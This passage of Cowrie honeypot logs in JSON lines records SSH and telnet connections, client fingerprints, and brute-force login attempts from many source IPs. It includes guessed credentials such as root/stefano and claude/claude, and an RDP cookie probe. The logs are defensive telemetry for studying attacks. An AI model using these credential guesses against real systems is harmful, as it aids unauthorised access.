,"aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.447306Z","src_ip":"43.130.16.4","session":"ae91ed6f1a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":54764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6884ae3602d7","protocol":"ssh","message":"New connection: 152.32.150.26:54764 (159.203.135.109:22) [session: 6884ae3602d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.629786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.635675Z","src_ip":"152.32.150.26","session":"6884ae3602d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty123","message":"login attempt [root/123qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.757685Z","src_ip":"43.130.16.4","session":"ae91ed6f1a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:43.093274Z","src_ip":"185.236.22.41","session":"b4355780ec6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:43.830663Z","src_ip":"43.130.16.4","session":"ae91ed6f1a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.019487619400024,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:45.058271Z","src_ip":"192.119.13.58","session":"7902fcf25942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.77320718765259,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:47.651431Z","src_ip":"192.119.13.58","session":"ef142a7910f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"3108378ebdb1","protocol":"ssh","message":"New connection: 103.77.242.62:40100 (10.17.0.5:22) [session: 3108378ebdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:56.670234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:56.675205Z","src_ip":"103.77.242.62","session":"3108378ebdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:56.917239Z","src_ip":"103.77.242.62","session":"3108378ebdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leavemealone","message":"login attempt [root/leavemealone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:57.639865Z","src_ip":"103.77.242.62","session":"3108378ebdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:58.883705Z","src_ip":"103.77.242.62","session":"3108378ebdb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"03302db130b2","protocol":"telnet","message":"New connection: 192.119.13.58:50664 (10.17.0.5:23) [session: 03302db130b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:00.499170Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":52030,"dst_ip":"159.203.135.109","dst_port":22,"session":"56940e11ef69","protocol":"ssh","message":"New connection: 43.173.89.56:52030 (159.203.135.109:22) [session: 56940e11ef69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:22.213969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:22.220040Z","src_ip":"43.173.89.56","session":"56940e11ef69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:22.289263Z","src_ip":"43.173.89.56","session":"56940e11ef69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root333","message":"login attempt [root/root333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:22.596049Z","src_ip":"43.173.89.56","session":"56940e11ef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:23.668365Z","src_ip":"43.173.89.56","session":"56940e11ef69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35238,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e389194950f","protocol":"telnet","message":"New connection: 192.119.13.58:35238 (10.17.0.5:23) [session: 4e389194950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:30.521394Z"}
{"eventid":"cowrie.session.closed","duration":35.224313735961914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:35.723353Z","src_ip":"192.119.13.58","session":"03302db130b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60912,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9d7806b790","protocol":"telnet","message":"New connection: 192.119.13.58:60912 (10.17.0.5:23) [session: 3e9d7806b790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:37.811273Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55023,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d84fac68047","protocol":"ssh","message":"New connection: 167.172.81.52:55023 (10.17.0.5:22) [session: 1d84fac68047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:40.220587Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:40.225039Z","src_ip":"167.172.81.52","session":"1d84fac68047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:40.232223Z","src_ip":"167.172.81.52","session":"1d84fac68047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":52204,"dst_ip":"159.203.135.109","dst_port":22,"session":"b074c25a17c1","protocol":"ssh","message":"New connection: 43.153.39.191:52204 (159.203.135.109:22) [session: b074c25a17c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:40.969381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:40.974458Z","src_ip":"43.153.39.191","session":"b074c25a17c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:41.043018Z","src_ip":"43.153.39.191","session":"b074c25a17c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefano","message":"login attempt [root/stefano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:41.347312Z","src_ip":"43.153.39.191","session":"b074c25a17c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:42.419402Z","src_ip":"43.153.39.191","session":"b074c25a17c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":47160,"dst_ip":"159.203.135.109","dst_port":22,"session":"048c4acb2614","protocol":"ssh","message":"New connection: 43.130.16.4:47160 (159.203.135.109:22) [session: 048c4acb2614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:47.738095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:47.743343Z","src_ip":"43.130.16.4","session":"048c4acb2614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:47.812645Z","src_ip":"43.130.16.4","session":"048c4acb2614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:48.121311Z","src_ip":"43.130.16.4","session":"048c4acb2614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:49.192519Z","src_ip":"43.130.16.4","session":"048c4acb2614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1094f76852f","protocol":"ssh","message":"New connection: 2.57.122.238:34738 (159.203.135.109:22) [session: a1094f76852f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:51.061827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:51.066319Z","src_ip":"2.57.122.238","session":"a1094f76852f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:51.171458Z","src_ip":"2.57.122.238","session":"a1094f76852f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:51.485680Z","src_ip":"2.57.122.238","session":"a1094f76852f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:24:52.593731Z","src_ip":"2.57.122.238","session":"a1094f76852f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.60951614379883,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:08.130751Z","src_ip":"192.119.13.58","session":"4e389194950f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56362819671631,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:13.374389Z","src_ip":"192.119.13.58","session":"3e9d7806b790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":48668,"dst_ip":"159.203.135.109","dst_port":22,"session":"388aba7a2bb3","protocol":"ssh","message":"New connection: 43.173.89.56:48668 (159.203.135.109:22) [session: 388aba7a2bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:34.054122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:34.059645Z","src_ip":"43.173.89.56","session":"388aba7a2bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:34.134581Z","src_ip":"43.173.89.56","session":"388aba7a2bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefano","message":"login attempt [root/stefano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:34.440139Z","src_ip":"43.173.89.56","session":"388aba7a2bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:35.516580Z","src_ip":"43.173.89.56","session":"388aba7a2bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:42.640495Z","src_ip":"152.32.150.26","session":"6884ae3602d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40666,"dst_ip":"10.17.0.5","dst_port":23,"session":"6408107b3494","protocol":"telnet","message":"New connection: 192.119.13.58:40666 (10.17.0.5:23) [session: 6408107b3494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:49.565432Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":60010,"dst_ip":"159.203.135.109","dst_port":22,"session":"15216cb2f155","protocol":"ssh","message":"New connection: 43.153.39.191:60010 (159.203.135.109:22) [session: 15216cb2f155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:57.051285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:25:57.056308Z","src_ip":"43.153.39.191","session":"15216cb2f155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.